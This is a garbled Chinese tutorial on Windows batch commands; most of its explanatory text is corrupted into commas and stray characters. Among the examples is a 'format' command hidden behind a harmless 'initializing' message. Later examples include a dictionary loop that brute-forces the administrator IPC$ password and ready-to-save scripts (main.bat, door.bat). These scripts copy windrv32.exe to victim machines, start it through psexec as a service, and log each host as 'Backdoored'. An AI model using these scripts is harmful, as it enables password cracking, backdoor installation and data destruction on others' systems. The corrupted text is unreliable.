批处理命令大全
1.Echo ,,,,
,,,,,,?,,,,,,,,,,,,,,,,,,,,,,,,,û,,,κβ,,,echo ,,,,,,,,,,,,,,,,,á,
,,
echo [{on|off}] [message]
Sample,,echo off / echo hello world
,,,,,,,,,,,,?,,,,,,,,,,,,??,,,,?,?,,?,,7,?,?,,,,> >> ^,,,,,4,,,,,,,?Щ,,,,,
?,,,,,,,?,,,.,,,,,,,,,,,,,,,,,?,4,,
2.@ ,,,,
,,,,,,,,@,,,,,,,,,,,,,,?,,,У,,,,,,,,,,,,4,,,,,,,,,,,?,,,,,,,,,ö,,,,,,,,,,õ,,,,,2,?
,
Sample,,@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format
,,,,,,,,,,,,,,,,,/y,,,,,,?,,,,,,,,,,,,,,,,autoset,,,,,,,,,,,,Ч,,,/y,,?,,?,)
3.Goto ,,,,
?,,,,?,,,,,,,,,,,,,,,,,,,,,,,?,п,,,,,,,,?
,,,,goto label ,,label,,,,,?,,,,??,,,,,,,,,,,е,,С,,,
Sample,,
if {%1}=={} goto noparms
if {%2}=={} goto noparms,,,,,,,,,,if,,%1,,%2,,,,,?,,,,,,,,,,,,,,,,,,,,,,?,,,,,,@Rem check parameters if null show usage:noparms
echo Usage: monitor.bat ServerIP PortNumbergoto end
,,,,,,,,?,,,,,,,,,,,,,,,,,,,,,,,,
,?2,,,,?,,,,,4,,,,,,,,?,,,,,,goto,,,,,,,,,,,,4,,,,?,,,,,,,,,,,,,?Щ,,,,,,,,,,,,??
,,,4,?,,,,,,,,,,,,,,
4.Rem ,,,,
?,,,,,,,,C,,,,,,,,,,/*--------*/,,,,?,У,?,,,,?,,?,,,,,ã,,,,?,,,,,?z,,,,,,,,,,,?,Rem Message
Sample,,@Rem Here is the description.
5.Pause ,,,,
,,,, Pause ,,,,,,,,,,,,,,,,,,,,,,
Press any key to continue . . .
Sample,,
@echo off
:begin
copy a:*.* d,,\back
echo Please put a new disk into driver Apause
goto begin
,,,,,,,,,,У,,,,, A ,д,,,,,,,,,,?,,,,,,d:\back,С,,,,,,??,,,,,,,,,?,?,,,,,,,,,, A
,,,pause ,,,,,,,,,,,,,,,,,,,,,?,,,,,,,,,,,,,,6.Call ,,,,
,,?,,,,,,,,,,,,,,?,,,,,,,,,,,?,,,?,,,,,,,,,call ,,,,,,,,,,,,,,?,,?,,,,,,,,
,?,,,,,,,,?,,,,,, Call,,,,,,,,,,,,,,,,,,á,,,
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
,,,,
[Drive:}[Path] FileName
?,,,,,õ,,,,,,,,,λ,ú,,,?,filename ,,,,,,,,,, .bat ,, .cmd ),,,?
7.start ,,,,
,,,,,,,,,,,,,е,DOS,,,,,,,,,,г,,,,,,,,start,,,,4,,,á,,,,?,,ò,,,
MIN ,,,,,,,,,,С,,
SEPARATE ,,?,,?,,,,,, 16 λ Windows ,,,,
HIGH ,, HIGH ,,,,,,,,,,ó,,,?
REALTIME ,, REALTIME ,,,,,,,,,,ó,,,?
WAIT ,,,ó,,,,,,,,,,?
parameters ,,Щ?,,,,,,,,/,,,,?,,,?
?,е,,ó,,,,, 32-λ GUI ,ó,,,,,,CMD.EXE??
,,,,,ó,,,,?,?,,,,,,,,,,,,,,,,,,,,,,,?,,,?,У,,,,,,,?,,,,,8.choice ,,,,
choice
,,ô,,,,,,,,,,,û,,,,,?,,,?,,,,,,в,,,,,,,,,,,,,ü,/c:,,,,c:,,д,,,,,,,,,,??,?,,,,,,,,,,?,,,,,?1234,,,,
,,: choice /c:dme defrag,mem,end
,,,,,
defrag,mem,end[D,M,E]?
Sample,,
Sample.bat,,,,,,,,,,:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag ,,,,,ж,,?,?,,,?,,,,?
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c:\dos\defrag
goto end
:mem
mem
goto end
:end
echo good bye
,,,?,,,,к,,,,, defrag,mem,end[D,M,E]? ,û,,,,,d m e ,,,,,if,,?,,,,,ж,,d,,,?,б,,?defrag,?,,,Σ,m,,,?,б,,?mem,?,,,Σ,e,,,?,б,,?end,?,,,Σ,ÿ,,,,,,,,,,,goto
end,,,,,,,,end,,?,,,,,,,,,,,,good bye,,,?,,,,,9.If ,,,,
if ,,,,,,ж,,,,,,,,,,,,,,,,,?,в,,,,,,,, ,,,,,?,,:1,,if ",,,," == ",?," ,,?,е,,,,,
,,,,,,,,,,?,,,,,?,,,,,,,b,,,,,,,,,,,,,,,,,,,,?,,(?,,,,},,,?,
,,if "%1"=="a" format a:
if {%1}=={} goto noparms
if {%2}=={} goto noparms
2,,if exist ,?,,, ,,?,е,,,,,
,,,,,?,,,,,?,,,,,,,,,b,,,,,,,,,,,,,,,,,,,,?,,,,if exist config.sys edit config.sys
3,,if errorlevel / if not errorlevel ,,,, ,,?,е,,,,,,,,,,,,,,?,,,,,,,,,,,,,,,b,,,,,,,,,,,,,,,,,,,,?,,,,if errorlevel 2 goto x2
DOS,,,,,,,,,,,,,,,?,,,,,?,DOS,,,,?,,,,,,errorlevel,,,,,,,,,,,??,,,,,?0,,1,,10.for ,,,,
for ,,,,,,?,,,,,,,,,,,,,,,,,??,,,,,,?,,,?,Χ,,,?,?,,,,,,
,,,,,,,?,,,,,, FOR ,,,,,,,?,,,,,,,,, %%variable?
for {%variable|%%variable} in (set) do command [ CommandLineOptions]
%variable ?,,?,,?,,?,,,,滻?,,,
(set) ?,,?,,,?,,,?,,,,,,,,,,,,,,
command ?,,,,ÿ,,,?,?,е,,,,,
command-parameters ?,?,,,,,?,,,,,,,,,,,,п,,?,,,,,,,,?,,,,,, FOR ,,,,,,,?,,,,,,,,, %%variable?
,,,, %variable,,,,,,,,,,??,?,Сд,?,,,,, %i ,,,,, %I,,,,,,,),,,,,,ã,,,,ж,,,, FOR ,,,,,,,,,,,
,,,:
FOR /D %variable IN (set) DO command [command-parameters],,,,а,,,,,,,?,,,,??,,,,,,,,,,?,
,,,,,
FOR /R [[drive:]path] %variable IN (set) DO command [command-,,,,, [drive:]path ?,,,??,,?,,ÿ,,??,е,
FOR ,,,,,,,, /R ,,û,,?,,??,,,,,,õ,,
??,,,,,,??,,,(.),?,,,ö,,,??,,
FOR /L %variable IN (start,step,end) DO command [command-para,ü,,,,,,,,,,,,,,,,,,,,,,?,,,,,,,,,С,?
,,,,(1,1,5) ,,,,,,,,,, 1 2 3 4 5,,(5,-1,1) ,,,,,,,,,, (5 4 3 2 1),,
FOR /F ["options"] %variable IN (file-set) DO commandFOR /F ["options"] %variable IN ("string") DO commandFOR /F ["options"] %variable IN (command) DO command,,,,,,,,,, usebackq ,,:?
FOR /F ["options"] %variable IN (file-set) DO commandFOR /F ["options"] %variable IN ("string") DO commandFOR /F ["options"] %variable IN (command) DO commandfilenameset ??,,,,,,?,,,,,, filenameset ,е,,,?,,,?,,,,,ÿ,,,?,,,,,,,,,,,,,,,,,,,?
,,,,,(,,,,?,,,,,,,?,?,,,е,,,,,,,,,ÿ,,
,,,,,,,,,,?,š,,,,,,,,,,,?,,?,?,,??
,,,, For ,,,,,,?,,,,,,/F ,,,ÿ,,,?,,,ÿ?,,,з??,
,?,?,,,,,š,,,,,,,С,,,,,,,?,,,, "options"?
,,,,,,,?,,,,,,,,,,,,,,?,,?,,(?,,,,,
?,,,,,,,,,,,??,,,,,,,Щ,,,,,?:
eol=c - ??,,,,?,,,?,?,β(,,?,,)
skip=n - ?,,,?,,,,,,,,,,,,,,
delims=xxx - ?,?,,,,,,,滻,,,,,,,,,
?,,?,,
tokens=x,y,m-n - ?ÿ,е,,,?,,,?,,,,,,ÿ,,,,
,, for ,,,,,,,,?,,,,,,,,?
,,,??,,Χ,,,,, nth ,,,?,, m
,,,,?,,е,,,,?,,,?,,??,
,,ô,,,,?,,,,,,,,?,,,?,,?,,
,,,,,,,,,е?,,,,?,,,
usebackq - ?,,,,,,,,,,,,,,,,,,,,,,:
,,,,?,,,,?,,?,,,,,?,,?,,,
,,,,?,?,,,,,?,,,,,,,,,,, fi
,,,,,,,,,),,,?,,,?,
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
,,,,, myfile.txt ,е,ÿ?,У,,,,,,,,?,,,,,,Щ,У,,,ÿ,,,е?,,,,,,,,,?,,?,, for ,,,,,,壻ö,,?,/,,
,,,,,š,,,?,,,,, for ,,,,,,,,,,,,,, %i 4
,,õ,,,,,?,,,,, %j 4,,õ,,,,,?,,,,, %k
4,,õ,,,,,?,,,,,,,,,š,,,,?,,,п,,,,?,
,,,,,,,,,,,?,,?,,,(,,4,,?,,,,,,?,?,,4,
,,,,,?,,,,,,,, usebackq ,,,,,,,,,?,??
,,,,,,,,,,,,,,?,,,,,,,?,?,?,
%i ?,,,, for ,,,,еõ,,,,%j ,, %k ,,,,,tokens= ,,??,?õ,,,,?,,,,,,,,, tokens= ?,,?,,,,, 26 ,,,?,?,,,,,,,,?,,,,,,,? z ,,?
Z ,?,,,,,,??,,FOR ,,,,?,,?,,??,?,Сд,,,,??,
,,,,,,,, 52 ,,,,,,,,,,,,,С,
,,,,,,,,,,,,?,,,,,, FOR /F ,,,,,,,,,,,,,,,,,õ,,,?,(,,,,,, filenameset (,,4,,,,,,,,?,,,,,,,,,?,,,?,,е,?,,?,,,,,С,
,,,,,,,,,, FOR /F ,,,,4,,,,,,,,,,,,,,,,,,,,(,,,,,, filenameset ,,,?,,(,?,,,,?,,,,,,,,,,,,,У,,,,,,?,,,, CMD.EXE,,,,,,,,?,,,,,,,,,,,,,棬?,,,,,,,,,,,,,,,,,:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
,,ö,,,,,,,,,е?,,,,,,,?,?
,,,,FOR ,,,,,,,,?滻,?,,,?,,,,,,,,,,,,,,,,,,
?,,,,:
~I - ,,,κ,,,,("),,),, %I?
%~fI - ,, %I ),,?,,,,,,,,,?,,,,
%~dI - ,, %I ),,?,,,,,,,
%~pI - ,, %I ),,?,,?,,
%~nI - ,, %I ),,?,,,?,,,
%~xI - ,, %I ),,?,,,?,),,,
%~sI - ),,,?,,?,,,ж,,,
%~aI - ,, %I ),,,?,,,,?,,,,,
%~tI - ,, %I ),,,?,,,,,,,/,,,
%~zI - ,, %I ),,,?,,?,С
%~$PATH:I - ,,,,,,,,?,,,,,,,,,,??,,,,,, %I ),,?
,,,,,?,?,,,,,,,,,,,?,,,,,,??
δ,,,,,,,,,壬û,,,,,?,,,,,,,,,,),,?
,,,?,
,,,,,,,,,,η,4,õ,,,,,,,:
%~dpI - ,, %I ),,?,,,,,,?,?,,
%~nxI - ,, %I ),,?,,,?,,,,),,,
%~fsI - ,, %I ),,?,,,,ж,,,,,,,,?,,,,%~dp$PATH:i - ,,,,,,,,?,,,,,,,,,,??,,,,,, %I ),,?
,,,,,?,?,,,,,,?,?,,,,?
%~ftzaI - ,, %I ),,,,,,,,,,,?,, DIR,,,,,,,,,,,У,%I ,, PATH ,,,,,,,,,,Ч,,?,,,档%~ ,,
,,?,,,,Ч,, FOR ,,,,,?,?,,,,,,, %I ,?,д,,,,??
,,,,,c,,,,?,,,,?,?,Сд,,,,,,,,,
,,,,,,MS,?,,,,,,,,,,,,,?,,,,,,,,4,,,,,,,?,,For,,,,,,,,,,,е,,,;,,sample2,,
,,,,For,,,,4,,?,?,?,,Win2k,,,?,f,,,,,,,,,,,,,net use \\ip\ipc$ "password" /u:"administrator"4,,,,,,,?,,,,,,,,l,,,,,,,,,,,,,,,???,,,,,,,,,,,,?,,for /f i% in (dict.txt) do net use \\ip\ipc$ "i%"? /u:"administrator"
,,i%4,,,admin,,,,,,,?dict.txt,,,,,,i%,,?,,net use ,,,,4l,,,,,,,,,,,н,,?,,find,,,,,,
for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find
":,,,,,,,,">>D:\ok.txt ,,,,,,,ko,,,?
sample3,,
,,,,û,й,,,,,,д,,?,,,,,,,,,,,,?,?,,,
?,,,,,,,,??,,,,,,,,,,,,,?,?,,,?,,,,ú,,,,,,,,,,,,,?,,,,,,,,,,,,,,,?,,,,,,,,,,,,,,?,,,,,,,,,ô,,,,,,,?,,?,,,,,,,,,,,,,,,,,
,,,,,,???,,?,,,,,,,,,,?,,,,,, FOR ,,,,,,,?,,,,,,, %%variable,,?
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens,,,?,,,μ,,,,,,sample1,,,,,,,,,,,,,,,,,victim.txt,е,,,,,,,,,door.bat,е?,,,%i %j %k,,
,,cultivate.bat,,?,,,,,net use,,,,4,,bIPC$l,,,,copy?,,,,,?,victim,,,,,,?,,,,??
If errorlever =,,4,,,,???,?,,,?,,,,echo,,4,,,,,,echo,,?,,,,,?,,,
delims= ,,,vivtim.txt,е,,,,,,,?,,,4,?,?,,,,,,,,,,,?
,??,,,,,,,victim.txt,,,,,,,,,,ô,,,,,,,ø,,%%i %%j %%k,,,,?,,,4,,,У,?,,,,, ip?
password username,,
,,,,,,Σ,
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.:end
--------------- cut here then save as a batchfile(I call it main.bat ) --------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------
@net use \\%1\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection ,,,,,,,,OK
@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@p***ec \\%1 c:\winnt\system32\windrv32.exe
@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) -------------------
,,?,,?,,,,,,,?,,,,,,,,?,,Σ,},,,,,,,,?,,,Windrv32.exe,,,PSexec.exe,,,,,,???,,.,,,,?
,,,,
,п,),,,,,,:,,,,,,,,,?+DDOS,?,,,,,,,?
,,,,,û,,?,,,,,,,,,,?,,,,,,,,,,,,,,,,,,,,,(,,,).,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,о,.?